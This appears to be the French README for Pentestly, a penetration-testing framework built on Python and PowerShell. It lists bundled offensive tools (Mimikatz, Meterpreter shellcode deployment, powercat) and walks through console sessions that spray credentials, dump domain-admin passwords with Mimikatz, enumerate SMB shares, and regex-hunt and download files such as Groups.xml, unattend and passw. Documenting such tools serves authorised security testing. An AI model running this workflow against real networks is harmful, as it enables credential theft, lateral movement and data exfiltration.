
Framework interne de test d'intrusion en Python et Powershell
Pentestly est une combinaison d'outils Python évolutifs destinés aux tests de pénétration. L'objectif est d'utiliser une interface utilisateur familière tout en facilitant les contributions au framework grâce à la puissance de Python.
Article de blog : Pentestly Framework : Quand le Pentesting rencontre Python et Powershell
Auteur : @ctfhacker / Cory Duplantis
Pentestly s'appuie sur le travail de géants. Voici les outils actuellement utilisés dans Pentestly :
recon-ng - La base de données backend de recon-ng est magnifiquement conçue et exploitée dans Pentestly pour la manipulation des données
wmiexec.py - Permet d'exécuter des commandes Powershell rapidement et facilement via WMI
smbmap.py - Utilitaire pratique pour énumérer les partages SMB
Invoke-Mimikatz.ps1 - Implémentation de Mimikatz en Powershell
powercat.ps1 - Fonctionnalité de type Netcat en Powershell
Invoke-Shellcode.ps1 - Déploiement de Meterpreter en Powershell
CrackMapExec - Source d'inspiration pour le serveur Mimikatz simple dans Pentestly
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
Parcourons plusieurs fonctions actuellement implémentées.
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes Chemin et nom de fichier pour l'entrée XML nmap
[pentestly][project][nmap_xml] > run
Utiliser un fichier avec des identifiants pour tester la connexion
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
Utiliser un seul nom d'utilisateur/mot de passe
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
Utiliser des identifiants sur un petit sous-ensemble d'IP p. ex. sur le 192.168.8.0/24 trouvé dans la table
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # Remarque : recherche floue - get_domain trouve get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes source d'entrée (voir 'show info' pour plus de détails)
[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd - DOMAIN ADMIN!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares
+------------------------------------------------------------------------------------------------+
| rowid | host | username | readwrite | readonly | noaccess | module |
+-------------------------------------------------------------------------------------------------+
| 1 | 192.168.224.252 | Administrator | | ADMIN$,C,C$,Users | IPC$ | enumshares |
+-------------------------------------------------------------------------------------------------+
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$ yes Expression régulière pour chercher dans les noms de fichiers
SOURCE default yes source d'entrée (voir 'show info' pour plus de détails)
On peut modifier le pattern pour quelque chose de plus spécialisé
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN important.txt|super_secret yes Expression régulière pour chercher dans les noms de fichiers
SOURCE default yes source d'entrée (voir 'show info' pour plus de détails)
Exécuter et télécharger les fichiers trouvés
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt
Créer de nouveaux modules est facile dans Pentestly. Commencez avec le code fourni dans skeleton.py :
from libs.pentestlymodule import PentestlyModule
class Module(PentestlyModule):
meta = {
'name': 'Your module name goes here',
'author': 'Developer name goes here',
'description': 'Description of the module goes here',
'query': 'SQL QUERY whose result is passed to your module',
'options': (
('Option1', 'Default Value', Required-True/False, 'Description of option'),
),
}
def module_pre(self):
# Optional
# Happens before your module
def module_run(self, data):
# Required
# data is the result from the SQL query set in the options
### Few magic functions
# self.query - Perform an SQL query on the internal database
results = self.query("select * from pentestly_creds")
# self.output - print default information to the user
self.output("Performed an SQL query")
self.output(results)
# self.alert - print successful message to the user
self.success("Yay! We performed successful work")
def module_post(self):
# Optional
# Happens after your module
Les points clés ici sont de remplir le dictionnaire meta avec les informations correspondantes ainsi que la fonction module_run pour la fonctionnalité du module.
Ce script est ensuite placé dans le dossier modules/ ou dans votre dossier personnel ~/.pentestly/modules pour la portabilité.
Restez à l'écoute pour une explication détaillée d'un exemple de script dans les semaines à venir.
secretsdump.pycreds, servicesVersion initiale